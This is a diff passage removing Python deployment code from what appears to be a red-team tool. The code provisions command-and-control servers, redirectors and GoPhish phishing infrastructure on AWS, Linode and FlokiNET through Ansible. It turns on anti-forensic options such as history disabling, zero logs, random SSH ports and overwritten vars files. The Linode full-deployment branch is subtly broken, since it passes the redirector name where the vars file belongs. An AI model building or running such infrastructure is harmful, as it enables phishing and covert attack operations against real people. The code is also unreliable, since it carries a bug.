- 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))),
- 'key_name': ssh_key_name,
- 'ssh_user': config.get('ssh_user', 'ec2-user'),
- 'instance_label': c2_name if config.get('c2_only', False) else redirector_name,
- 'private_key_path': f"~/.ssh/{ssh_key_name}",
- }
-
- # Format extra vars for command line, handling special characters
- extra_vars_list = []
- for k, v in extra_vars.items():
- if isinstance(v, bool):
- extra_vars_list.append(f"{k}={str(v).lower()}")
- elif isinstance(v, (int, float)):
- extra_vars_list.append(f"{k}={v}")
- elif isinstance(v, str):
- # Escape quotes in string values
- escaped_v = v.replace("'", "'\\''")
- extra_vars_list.append(f"{k}='{escaped_v}'")
- elif not isinstance(v, dict): # Skip dict values
- extra_vars_list.append(f"{k}={v}")
-
- extra_vars_str = " ".join(extra_vars_list)
-
- # Handle the ami_map special case
- ami_map_str = ""
- if config.get('ami_map'):
- ami_map_str = f"ami_map='{json.dumps(config['ami_map'])}'"
-
- # Execute deployment based on deployment mode
- if extra_vars['redirector_only']:
- playbook = "AWS/redirector.yml"
- cmd = f"ansible-playbook -i {inventory_file} {playbook} -e '{extra_vars_str} {ami_map_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- print(f"[+] Running: {cmd}")
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] Redirector deployment failed. See {log_file} for details.")
- # Track created resources for cleanup
- try:
- # Get instance ID for cleanup
- instance_id = get_aws_instance_id(redirector_name, config)
- if instance_id:
- deployed_instances.append((redirector_name, instance_id))
- # Also add key pair to resources for cleanup
- deployed_resources.append(("key_pair", ssh_key_name))
- except Exception as e:
- print(f"[!] Failed to get instance ID: {e}")
- return False, [log_file], deployed_instances + deployed_resources
-
- # Track deployed instances and resources
- instance_id = get_aws_instance_id(redirector_name, config)
- if instance_id:
- deployed_instances.append((redirector_name, instance_id))
- deployed_resources.append(("key_pair", ssh_key_name))
-
- # Store redirector IP and key path for SSH access later
- config['redirector_ip'] = get_aws_instance_ip(redirector_name, config)
- config['redirector_key_path'] = f"~/.ssh/{ssh_key_name}.pem"
-
- elif extra_vars['c2_only']:
- playbook = "AWS/c2.yml"
- cmd = f"ansible-playbook -i {inventory_file} {playbook} -e '{extra_vars_str} {ami_map_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- print(f"[+] Running: {cmd}")
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] C2 server deployment failed. See {log_file} for details.")
- # Track created resources for cleanup
- try:
- # Get instance ID for cleanup
- instance_id = get_aws_instance_id(c2_name, config)
- if instance_id:
- deployed_instances.append((c2_name, instance_id))
- # Also add key pair to resources for cleanup
- deployed_resources.append(("key_pair", ssh_key_name))
- except Exception as e:
- print(f"[!] Failed to get instance ID: {e}")
- return False, [log_file], deployed_instances + deployed_resources
-
- # Track deployed instances and resources
- instance_id = get_aws_instance_id(c2_name, config)
- if instance_id:
- deployed_instances.append((c2_name, instance_id))
- deployed_resources.append(("key_pair", ssh_key_name))
-
- # Store C2 IP and key path for SSH access later
- config['c2_ip'] = get_aws_instance_ip(c2_name, config)
- config['c2_key_path'] = f"~/.ssh/{ssh_key_name}.pem"
-
- else:
- # For full deployment, run redirector first, then C2
- # First deploy redirector
- redirector_cmd = f"ansible-playbook -i {inventory_file} AWS/redirector.yml -e '{extra_vars_str} {ami_map_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR PLAYBOOK (FULL DEPLOYMENT) ====\n")
- f.write(f"Command: {redirector_cmd}\n\n")
-
- print(f"[+] Running: {redirector_cmd}")
- success, stdout, stderr = run_command_with_logging(redirector_cmd, config, log_file)
- if not success:
- print(f"[-] Redirector deployment failed. See {log_file} for details.")
- # Track created resources for cleanup
- try:
- # Get instance ID for cleanup
- instance_id = get_aws_instance_id(redirector_name, config)
- if instance_id:
- deployed_instances.append((redirector_name, instance_id))
- # Also add key pair to resources for cleanup
- deployed_resources.append(("key_pair", ssh_key_name))
- except Exception as e:
- print(f"[!] Failed to get instance ID: {e}")
- return False, [log_file], deployed_instances + deployed_resources
-
- # Track deployed redirector
- instance_id = get_aws_instance_id(redirector_name, config)
- if instance_id:
- deployed_instances.append((redirector_name, instance_id))
-
- # Get and store redirector IP for C2 configuration
- redirector_ip = get_aws_instance_ip(redirector_name, config)
- config['redirector_ip'] = redirector_ip
- config['redirector_key_path'] = f"~/.ssh/{ssh_key_name}.pem"
-
- # Update extra vars with redirector IP
- extra_vars['redirector_ip'] = redirector_ip
- extra_vars_list.append(f"redirector_ip='{redirector_ip}'")
- extra_vars_str = " ".join(extra_vars_list)
-
- # Log updated extra_vars
- with open(log_file, 'a') as f:
- f.write(f"==== UPDATED EXTRA VARS WITH REDIRECTOR IP ====\n")
- f.write(f"redirector_ip: {redirector_ip}\n")
- f.write(f"==== END UPDATED EXTRA VARS ====\n\n")
-
- # Then deploy C2 server with redirector IP
- c2_cmd = f"ansible-playbook -i {inventory_file} AWS/c2.yml -e '{extra_vars_str} {ami_map_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 PLAYBOOK (FULL DEPLOYMENT) ====\n")
- f.write(f"Command: {c2_cmd}\n\n")
-
- print(f"[+] Running: {c2_cmd}")
- success, stdout, stderr = run_command_with_logging(c2_cmd, config, log_file)
- if not success:
- print(f"[-] C2 server deployment failed. See {log_file} for details.")
- # Track created resources for cleanup
- try:
- # Get instance ID for cleanup
- instance_id = get_aws_instance_id(c2_name, config)
- if instance_id:
- deployed_instances.append((c2_name, instance_id))
- except Exception as e:
- print(f"[!] Failed to get instance ID: {e}")
- return False, [log_file], deployed_instances + deployed_resources
-
- # Track deployed C2
- instance_id = get_aws_instance_id(c2_name, config)
- if instance_id:
- deployed_instances.append((c2_name, instance_id))
-
- # Add key pair to resources
- deployed_resources.append(("key_pair", ssh_key_name))
-
- # Store C2 IP and key path for SSH access later
- config['c2_ip'] = get_aws_instance_ip(c2_name, config)
- config['c2_key_path'] = f"~/.ssh/{ssh_key_name}.pem"
-
- # Deploy tracker if requested
- if config.get('deploy_tracker'):
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYING TRACKER MODULE ====\n")
-
- tracker_success = deploy_tracker_module(config)
-
- with open(log_file, 'a') as f:
- f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n")
- f.write(f"==== END TRACKER DEPLOYMENT ====\n\n")
-
- if not tracker_success:
- print("[!] Warning: Tracker deployment failed, but continuing with main deployment")
-
- print("[+] AWS infrastructure deployed successfully!")
- success = True
-
- # Log success
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n")
- f.write(f"Deployed instances: {', '.join([n for n, _ in deployed_instances])}\n")
- f.write(f"Deployed resources: {', '.join([f'{t}: {n}' for t, n in deployed_resources])}\n")
- if 'redirector_ip' in config:
- f.write(f"Redirector IP: {config['redirector_ip']}\n")
- if 'c2_ip' in config:
- f.write(f"C2 IP: {config['c2_ip']}\n")
- f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n")
-
- return success, [log_file], deployed_instances + deployed_resources
-
- except Exception as e:
- # Log exception details
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT ERROR ====\n")
- f.write(f"Error: {str(e)}\n")
- import traceback
- f.write(f"Traceback: {traceback.format_exc()}\n")
- f.write(f"==== END DEPLOYMENT ERROR ====\n\n")
-
- print(f"[-] Error: Failed to deploy AWS infrastructure: {e}")
-
- return False, [log_file], deployed_instances + deployed_resources
-
- finally:
- # Clean up temporary inventory file
- if os.path.exists(inventory_file):
- with open(log_file, 'a') as f:
- f.write(f"==== REMOVING INVENTORY FILE ====\n")
- f.write(f"Removing file: {inventory_file}\n")
-
- os.remove(inventory_file)
-
- with open(log_file, 'a') as f:
- f.write(f"Inventory file removed successfully\n")
- f.write(f"==== END REMOVAL ====\n\n")
-
- # If failure, clean up deployed instances
- if not success and (deployed_instances or deployed_resources):
- with open(log_file, 'a') as f:
- f.write(f"==== CLEANING UP DEPLOYED RESOURCES ====\n")
-
- print(f"[!] Cleaning up deployed resources due to failure...")
-
- # Clean up EC2 instances
- for instance_name, instance_id in deployed_instances:
- with open(log_file, 'a') as f:
- f.write(f"Cleaning up instance: {instance_name} (ID: {instance_id})\n")
-
- try:
- cleanup_cmd = f"aws ec2 terminate-instances --instance-ids {instance_id} --region {config.get('aws_region')}"
- print(f"[+] Running cleanup command: {cleanup_cmd}")
- subprocess.run(cleanup_cmd, shell=True, check=False)
- print(f"[+] Terminated instance: {instance_name}")
-
- with open(log_file, 'a') as f:
- f.write(f"Instance {instance_name} terminated successfully\n")
- except Exception as cleanup_err:
- print(f"[!] Failed to terminate instance {instance_name}: {cleanup_err}")
-
- with open(log_file, 'a') as f:
- f.write(f"Failed to terminate instance {instance_name}: {cleanup_err}\n")
-
- # Clean up other AWS resources (key pairs, etc.)
- for resource_type, resource_name in deployed_resources:
- with open(log_file, 'a') as f:
- f.write(f"Cleaning up {resource_type}: {resource_name}\n")
-
- try:
- if resource_type == "key_pair":
- cleanup_cmd = f"aws ec2 delete-key-pair --key-name {resource_name} --region {config.get('aws_region')}"
- print(f"[+] Running cleanup command: {cleanup_cmd}")
- subprocess.run(cleanup_cmd, shell=True, check=False)
- print(f"[+] Deleted key pair: {resource_name}")
-
- # Also remove local key file
- local_key_path = f"~/.ssh/{resource_name}.pem"
- expanded_path = os.path.expanduser(local_key_path)
- if os.path.exists(expanded_path):
- os.remove(expanded_path)
- print(f"[+] Removed local key file: {local_key_path}")
-
- with open(log_file, 'a') as f:
- f.write(f"{resource_type} {resource_name} deleted successfully\n")
- # Add more resource types here if needed
- except Exception as cleanup_err:
- print(f"[!] Failed to clean up {resource_type} {resource_name}: {cleanup_err}")
-
- with open(log_file, 'a') as f:
- f.write(f"Failed to clean up {resource_type} {resource_name}: {cleanup_err}\n")
-
- with open(log_file, 'a') as f:
- f.write(f"==== END CLEANUP ====\n\n")
-
-def deploy_linode(config):
- """Deploy infrastructure using Linode provider with improved logging"""
- print("[+] Deploying Linode infrastructure...")
-
- # Set Linode environment variables
- os.environ['LINODE_TOKEN'] = config['linode_token']
-
- # Prepare SSH key
- ssh_key, ssh_key_content = prepare_ssh_key(config)
- if not ssh_key or not ssh_key_content:
- print("[-] Failed to prepare SSH key, aborting deployment")
- return False, [], []
-
- # Create logs directory
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- os.makedirs(log_dir, exist_ok=True)
- timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
-
- # Only create one log file in the logs directory
- log_file = os.path.join(log_dir, f"deployment_{timestamp}_linode.log")
-
- print(f"[+] Creating deployment log at: {log_file}")
-
- # Create a temporary inventory file for Ansible with detailed logging
- inventory_file = f"inventory_linode_{int(time.time())}.yml"
- with open(log_file, 'a') as f:
- f.write(f"==== CREATING INVENTORY FILE: {inventory_file} ====\n")
-
- deployed_instances = []
- success = False
-
- try:
- # Write inventory file
- with open(inventory_file, 'w') as f:
- f.write("---\n")
- f.write("all:\n")
- f.write(" vars:\n")
- f.write(f" ansible_ssh_private_key_file: {ssh_key}\n")
- f.write(f" ansible_user: {config.get('ssh_user', 'root')}\n")
- f.write(f" ansible_python_interpreter: /usr/bin/python3\n")
- f.write(" children:\n")
- f.write(" redirectors:\n")
- f.write(" hosts:\n")
- f.write(" redirector:\n")
- f.write(" ansible_host: '{{ redirector_ip }}'\n")
- f.write(" c2servers:\n")
- f.write(" hosts:\n")
- f.write(" c2:\n")
- f.write(" ansible_host: '{{ c2_ip }}'\n")
-
- # Log inventory file content
- with open(log_file, 'a') as f:
- f.write(f"INVENTORY CONTENT:\n")
- with open(inventory_file, 'r') as inv:
- f.write(inv.read())
- f.write("\n==== END INVENTORY FILE ====\n\n")
-
- # Generate default names if not provided
- rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
- timestamp = int(time.time()) % 10000 # Last 4 digits of timestamp
- redirector_name = config.get('redirector_name', f"srv-{rand_suffix}-{timestamp}")
- c2_name = config.get('c2_name', f"node-{rand_suffix}-{timestamp}")
-
- # Update config with generated names for logging
- config['redirector_name'] = redirector_name
- config['c2_name'] = c2_name
-
- # Log important information
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT INFORMATION ====\n")
- f.write(f"SSH Key: {ssh_key}\n")
- f.write(f"Redirector Name: {redirector_name}\n")
- f.write(f"C2 Name: {c2_name}\n")
- f.write(f"Domain: {config.get('domain', 'example.com')}\n")
- f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n")
-
- # Create vars.yml file for Ansible with variables
- vars_file = f"temp_vars_{int(time.time())}.yml"
- with open(vars_file, 'w') as f:
- # Essential variables that must match playbook expectations
- f.write(f"---\n")
- f.write(f"linode_token: '{config['linode_token']}'\n")
- f.write(f"redirector_name: '{redirector_name}'\n")
- f.write(f"c2_name: '{c2_name}'\n")
- f.write(f"region: '{config.get('linode_region', 'us-east')}'\n")
- f.write(f"plan: '{config.get('size', 'g6-standard-1')}'\n")
- f.write(f"domain: '{config.get('domain', 'example.com')}'\n")
- f.write(f"letsencrypt_email: '{config.get('letsencrypt_email', 'admin@example.com')}'\n")
- f.write(f"gophish_admin_port: '{config.get('gophish_admin_port', str(random.randint(2000, 9000)))}'\n")
- f.write(f"smtp_auth_user: '{config.get('smtp_auth_user', f'user{random.randint(1000, 9999)}')}'\n")
- # Only use alphanumeric characters for password to avoid escaping issues
- password = config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20)))
- f.write(f"smtp_auth_pass: '{password}'\n")
- f.write(f"ssh_key_path: '{ssh_key}'\n")
- f.write(f"ssh_user: '{config.get('ssh_user', 'root')}'\n")
- f.write(f"instance_label: '{c2_name if config.get('c2_only', False) else redirector_name}'\n")
- f.write(f"linode_image: 'linode/debian11'\n")
- # Boolean values
- f.write(f"teardown: {str(config.get('teardown', False)).lower()}\n")
- f.write(f"disable_history: {str(config.get('disable_history', True)).lower()}\n")
- f.write(f"secure_memory: {str(config.get('secure_memory', True)).lower()}\n")
- f.write(f"zero_logs: {str(config.get('zero_logs', True)).lower()}\n")
- f.write(f"redirector_only: {str(config.get('redirector_only', False)).lower()}\n")
- f.write(f"c2_only: {str(config.get('c2_only', False)).lower()}\n")
- f.write(f"debug: {str(config.get('debug', False)).lower()}\n")
-
- # Make the vars file readable only by owner
- os.chmod(vars_file, 0o600)
-
- # Log vars file creation
- with open(log_file, 'a') as f:
- f.write(f"==== CREATED VARS FILE: {vars_file} ====\n")
- f.write(f"(File contains sensitive data, not logging content)\n")
- f.write(f"==== END VARS FILE INFO ====\n\n")
-
- try:
- # Execute deployment based on deployment mode
- if config.get('redirector_only', False):
- playbook = "Linode/redirector.yml"
- cmd = f"ansible-playbook -i {inventory_file} {playbook} -e @{vars_file} -v"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- print(f"[+] Running: {cmd}")
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] Redirector deployment failed. See {log_file} for details.")
- # Get the deployed instance ID for cleanup - only if actually created
- try:
- linode_id = get_linode_id(redirector_name, config)
- if linode_id:
- deployed_instances.append((redirector_name, linode_id))
- except Exception as e:
- print(f"[!] Note: No instance to clean up: {e}")
- return False, [log_file], deployed_instances
-
- # Store redirector IP and key path for SSH access later
- try:
- linode_id = get_linode_id(redirector_name, config)
- if linode_id:
- deployed_instances.append((redirector_name, linode_id))
- config['redirector_ip'] = get_linode_ip(linode_id, config)
- config['redirector_key_path'] = ssh_key
- except Exception as e:
- print(f"[!] Warning: Failed to get redirector IP: {e}")
-
- elif config.get('c2_only', False):
- playbook = "Linode/c2.yml"
- cmd = f"ansible-playbook -i {inventory_file} {playbook} -e @{vars_file} -v"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- print(f"[+] Running: {cmd}")
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] C2 server deployment failed. See {log_file} for details.")
- # Get the deployed instance ID for cleanup - only if actually created
- try:
- linode_id = get_linode_id(c2_name, config)
- if linode_id:
- deployed_instances.append((c2_name, linode_id))
- except Exception as e:
- print(f"[!] Note: No instance to clean up: {e}")
- return False, [log_file], deployed_instances
-
- # Store C2 IP and key path for SSH access later
- try:
- linode_id = get_linode_id(c2_name, config)
- if linode_id:
- deployed_instances.append((c2_name, linode_id))
- config['c2_ip'] = get_linode_ip(linode_id, config)
- config['c2_key_path'] = ssh_key
- except Exception as e:
- print(f"[!] Warning: Failed to get C2 IP: {e}")
-
- else:
- # For full deployment, run redirector first, then C2
- redirector_cmd = f"ansible-playbook -i {inventory_file} Linode/redirector.yml -e @{redirector_name} -v"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR PLAYBOOK (FULL DEPLOYMENT) ====\n")
- f.write(f"Command: {redirector_cmd}\n\n")
-
- print(f"[+] Running: {redirector_cmd}")
- success, stdout, stderr = run_command_with_logging(redirector_cmd, config, log_file)
- if not success:
- print(f"[-] Redirector deployment failed. See {log_file} for details.")
- # Get the deployed instance ID for cleanup - only if actually created
- try:
- linode_id = get_linode_id(redirector_name, config)
- if linode_id:
- deployed_instances.append((redirector_name, linode_id))
- except Exception as e:
- print(f"[!] Note: No instance to clean up: {e}")
- return False, [log_file], deployed_instances
-
- # Get and store redirector IP for C2 configuration
- try:
- linode_id = get_linode_id(redirector_name, config)
- if linode_id:
- deployed_instances.append((redirector_name, linode_id))
- redirector_ip = get_linode_ip(linode_id, config)
- config['redirector_ip'] = redirector_ip
- config['redirector_key_path'] = ssh_key
-
- # Update vars file with redirector IP
- with open(vars_file, 'a') as f:
- f.write(f"redirector_ip: '{redirector_ip}'\n")
-
- with open(log_file, 'a') as f:
- f.write(f"==== UPDATED VARS FILE WITH REDIRECTOR IP ====\n")
- f.write(f"redirector_ip: {redirector_ip}\n")
- f.write(f"==== END UPDATED VARS ====\n\n")
- except Exception as e:
- print(f"[!] Warning: Failed to get redirector IP: {e}")
- return False, [log_file], deployed_instances
-
- # Then deploy C2 server with redirector IP
- c2_cmd = f"ansible-playbook -i {inventory_file} Linode/c2.yml -e @{vars_file} -v"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 PLAYBOOK (FULL DEPLOYMENT) ====\n")
- f.write(f"Command: {c2_cmd}\n\n")
-
- print(f"[+] Running: {c2_cmd}")
- success, stdout, stderr = run_command_with_logging(c2_cmd, config, log_file)
- if not success:
- print(f"[-] C2 server deployment failed. See {log_file} for details.")
- # Get the deployed instance ID for cleanup - only if actually created
- try:
- linode_id = get_linode_id(c2_name, config)
- if linode_id:
- deployed_instances.append((c2_name, linode_id))
- except Exception as e:
- print(f"[!] Note: No instance to clean up: {e}")
- return False, [log_file], deployed_instances
-
- # Store C2 IP and key path for SSH access later
- try:
- linode_id = get_linode_id(c2_name, config)
- if linode_id:
- deployed_instances.append((c2_name, linode_id))
- config['c2_ip'] = get_linode_ip(linode_id, config)
- config['c2_key_path'] = ssh_key
- except Exception as e:
- print(f"[!] Warning: Failed to get C2 IP: {e}")
-
- finally:
- # Securely remove the vars file
- try:
- if os.path.exists(vars_file):
- # Overwrite with random data before removing
- with open(vars_file, 'wb') as f:
- f.write(os.urandom(1024))
- os.remove(vars_file)
- with open(log_file, 'a') as f:
- f.write(f"==== SECURELY REMOVED VARS FILE ====\n")
- except Exception as e:
- print(f"[!] Warning: Failed to clean up vars file: {e}")
-
- # Deploy tracker if requested
- if config.get('deploy_tracker'):
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYING TRACKER MODULE ====\n")
-
- tracker_success = deploy_tracker_module(config)
-
- with open(log_file, 'a') as f:
- f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n")
- f.write(f"==== END TRACKER DEPLOYMENT ====\n\n")
-
- if not tracker_success:
- print("[!] Warning: Tracker deployment failed, but continuing with main deployment")
-
- print("[+] Linode infrastructure deployed successfully!")
- success = True
-
- # Log success
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n")
- f.write(f"Deployed instances: {', '.join([n for n, _ in deployed_instances])}\n")
- if 'redirector_ip' in config:
- f.write(f"Redirector IP: {config['redirector_ip']}\n")
- if 'c2_ip' in config:
- f.write(f"C2 IP: {config['c2_ip']}\n")
- f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n")
-
- return success, [log_file], deployed_instances
-
- except Exception as e:
- # Log exception details
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT ERROR ====\n")
- f.write(f"Error: {str(e)}\n")
- import traceback
- f.write(f"Traceback: {traceback.format_exc()}\n")
- f.write(f"==== END DEPLOYMENT ERROR ====\n\n")
-
- print(f"[-] Error: Failed to deploy Linode infrastructure: {e}")
-
- # Additional error information
- with open(log_file, 'a') as f:
- f.write(f"Failed deployment, deployed instances that need cleanup: {deployed_instances}\n")
-
- return False, [log_file], deployed_instances
-
- finally:
- # Clean up temporary inventory file
- if os.path.exists(inventory_file):
- with open(log_file, 'a') as f:
- f.write(f"==== REMOVING INVENTORY FILE ====\n")
- f.write(f"Removing file: {inventory_file}\n")
-
- os.remove(inventory_file)
-
- with open(log_file, 'a') as f:
- f.write(f"Inventory file removed successfully\n")
- f.write(f"==== END REMOVAL ====\n\n")
-
- # If failure, clean up deployed instances with better error handling
- if not success and deployed_instances:
- with open(log_file, 'a') as f:
- f.write(f"==== CLEANING UP DEPLOYED INSTANCES ====\n")
-
- print(f"[!] Cleaning up deployed instances due to failure...")
-
- for instance_name, instance_id in deployed_instances:
- with open(log_file, 'a') as f:
- f.write(f"Checking if instance exists: {instance_name} (ID: {instance_id})\n")
-
- # First verify if the instance actually exists before attempting deletion
- instance_exists = False
- try:
- # Check if instance exists
- check_cmd = f"linode-cli linodes list --json --label {instance_name}"
- result = subprocess.run(check_cmd, shell=True, check=False, capture_output=True, text=True)
- if result.returncode == 0 and result.stdout.strip() != "[]" and result.stdout.strip() != "":
- instance_exists = True
- with open(log_file, 'a') as f:
- f.write(f"Instance {instance_name} exists and will be deleted\n")
- else:
- with open(log_file, 'a') as f:
- f.write(f"Instance {instance_name} doesn't exist or already deleted\n")
- except Exception as check_err:
- print(f"[!] Error checking if instance exists: {check_err}")
- with open(log_file, 'a') as f:
- f.write(f"Error checking instance: {check_err}\n")
-
- # Only attempt deletion if the instance exists
- if instance_exists:
- try:
- cleanup_cmd = f"linode-cli linodes delete {instance_id} --yes"
- print(f"[+] Running cleanup command: {cleanup_cmd}")
- subprocess.run(cleanup_cmd, shell=True, check=False)
- print(f"[+] Deleted instance: {instance_name}")
-
- with open(log_file, 'a') as f:
- f.write(f"Instance {instance_name} deleted successfully\n")
- except Exception as cleanup_err:
- print(f"[!] Failed to delete instance {instance_name}: {cleanup_err}")
-
- with open(log_file, 'a') as f:
- f.write(f"Failed to delete instance {instance_name}: {cleanup_err}\n")
-
- with open(log_file, 'a') as f:
- f.write(f"==== END CLEANUP ====\n\n")
-
- # If this is a new key and deployment failed, remove it
- if not success and ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2itall_")):
- try:
- with open(log_file, 'a') as f:
- f.write(f"==== REMOVING GENERATED SSH KEY ====\n")
- f.write(f"Removing SSH key: {ssh_key}\n")
-
- os.remove(ssh_key)
- if os.path.exists(f"{ssh_key}.pub"):
- os.remove(f"{ssh_key}.pub")
- print(f"[+] Removed generated SSH key due to deployment failure")
-
- with open(log_file, 'a') as f:
- f.write(f"SSH key removed successfully\n")
- f.write(f"==== END SSH KEY REMOVAL ====\n\n")
- except Exception as key_err:
- print(f"[!] Failed to remove SSH key {ssh_key}: {key_err}")
-
- with open(log_file, 'a') as f:
- f.write(f"Failed to remove SSH key: {key_err}\n")
- f.write(f"==== END SSH KEY REMOVAL ====\n\n")
-
-def deploy_flokinet(config):
- """Deploy infrastructure using FlokiNET provider"""
- print("[+] Deploying FlokiNET infrastructure...")
-
- # Prepare SSH key
- ssh_key, ssh_key_content = prepare_ssh_key(config)
- if not ssh_key or not ssh_key_content:
- print("[-] Failed to prepare SSH key, aborting deployment")
- return False, [], []
-
- # Create logs directory
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- os.makedirs(log_dir, exist_ok=True)
- timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
-
- # Only create one log file in the logs directory
- log_file = os.path.join(log_dir, f"deployment_{timestamp}_flokinet.log")
-
- print(f"[+] Creating deployment log at: {log_file}")
-
- # OPSEC: Use the random SSH port from config
- ssh_port = config.get('ssh_port', random.randint(20000, 65000))
- print(f"[+] Using SSH port: {ssh_port}")
-
- # Prompt for IP addresses if not provided
- redirector_ip = config.get('flokinet_redirector_ip')
- c2_ip = config.get('flokinet_c2_ip')
-
- # Handle partial deployment modes
- if config['redirector_only'] and not redirector_ip:
- redirector_ip = input("[?] Enter FlokiNET redirector IP address: ")
- if not redirector_ip:
- print("[-] Error: Redirector IP is required for deployment")
- return False, [], []
- # Use a placeholder for C2 if we're only deploying redirector
- c2_ip = "127.0.0.1"
-
- elif config['c2_only'] and not c2_ip:
- c2_ip = input("[?] Enter FlokiNET C2 server IP address: ")
- if not c2_ip:
- print("[-] Error: C2 server IP is required for deployment")
- return False, [], []
-
- # If we're only deploying C2, but need redirector IP for configuration
- if not redirector_ip:
- # Try to read existing redirector IP from saved config
- try:
- with open('FlokiNET/vars.yaml', 'r') as f:
- existing_config = yaml.safe_load(f)
- if existing_config and 'redirector_ip' in existing_config:
- redirector_ip = existing_config['redirector_ip']
- if redirector_ip == "__REDIRECTOR_IP__": # Placeholder
- redirector_ip = None
- except (FileNotFoundError, yaml.YAMLError):
- pass
-
- # If still no redirector IP, prompt for it
- if not redirector_ip:
- redirector_ip = input("[?] Enter existing redirector IP address (needed for C2 configuration): ")
- if not redirector_ip:
- print("[-] Error: Existing redirector IP is required to configure C2 server")
- return False, [], []
-
- # Full deployment - need both IPs
- elif not config['redirector_only'] and not config['c2_only']:
- if not redirector_ip:
- redirector_ip = input("[?] Enter FlokiNET redirector IP address: ")
- if not c2_ip:
- c2_ip = input("[?] Enter FlokiNET C2 server IP address: ")
-
- if not redirector_ip or not c2_ip:
- print("[-] Error: Both redirector and C2 IPs are required for full deployment")
- return False, [], []
-
- # Update config with obtained IPs
- config['flokinet_redirector_ip'] = redirector_ip
- config['flokinet_c2_ip'] = c2_ip
-
- # Create FlokiNET directory if it doesn't exist
- if not os.path.exists('FlokiNET'):
- print("[+] Creating FlokiNET directory structure...")
- os.makedirs('FlokiNET', exist_ok=True)
-
- # Prepare vars.yaml with dynamic IPs
- prepare_flokinet_vars(config)
-
- # Log important information
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT INFORMATION ====\n")
- f.write(f"SSH Key: {ssh_key}\n")
- f.write(f"SSH Port: {ssh_port}\n")
- f.write(f"Redirector IP: {redirector_ip}\n")
- f.write(f"C2 IP: {c2_ip}\n")
- f.write(f"Domain: {config.get('domain', 'example.com')}\n")
- f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n")
-
- # Create temporary inventory files for Ansible with randomized names for OPSEC
- inventory_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
- redirector_inventory = None
- c2_inventory = None
-
- deployed_resources = []
- success = False
-
- try:
- # Track resources for potential cleanup
- deployed_resources = [
- ("redirector_ip", redirector_ip),
- ("c2_ip", c2_ip)
- ]
-
- if not config['c2_only']:
- redirector_inventory = f'inventory_r_{inventory_suffix}.yml'
- with open(redirector_inventory, 'w') as f:
- os.chmod(redirector_inventory, 0o600) # Secure permissions
- f.write("---\n")
- f.write("redirector:\n")
- f.write(f" hosts:\n")
- f.write(f" redirector:\n")
- f.write(f" ansible_host: {redirector_ip}\n")
- f.write(f" ansible_user: {config['ssh_user']}\n")
- f.write(f" ansible_ssh_private_key_file: {ssh_key}\n")
- f.write(f" ansible_python_interpreter: /usr/bin/python3\n")
- f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port
-
- # Log inventory file content
- with open(log_file, 'a') as f:
- f.write(f"==== REDIRECTOR INVENTORY: {redirector_inventory} ====\n")
- with open(redirector_inventory, 'r') as inv:
- f.write(inv.read())
- f.write("\n==== END REDIRECTOR INVENTORY ====\n\n")
-
- if not config['redirector_only']:
- c2_inventory = f'inventory_c_{inventory_suffix}.yml'
- with open(c2_inventory, 'w') as f:
- os.chmod(c2_inventory, 0o600) # Secure permissions
- f.write("---\n")
- f.write("c2:\n")
- f.write(f" hosts:\n")
- f.write(f" c2:\n")
- f.write(f" ansible_host: {c2_ip}\n")
- f.write(f" ansible_user: {config['ssh_user']}\n")
- f.write(f" ansible_ssh_private_key_file: {ssh_key}\n")
- f.write(f" ansible_python_interpreter: /usr/bin/python3\n")
- f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port
-
- # Log inventory file content
- with open(log_file, 'a') as f:
- f.write(f"==== C2 INVENTORY: {c2_inventory} ====\n")
- with open(c2_inventory, 'r') as inv:
- f.write(inv.read())
- f.write("\n==== END C2 INVENTORY ====\n\n")
-
- # Build extra vars string
- extra_vars = {
- 'redirector_ip': redirector_ip,
- 'c2_ip': c2_ip,
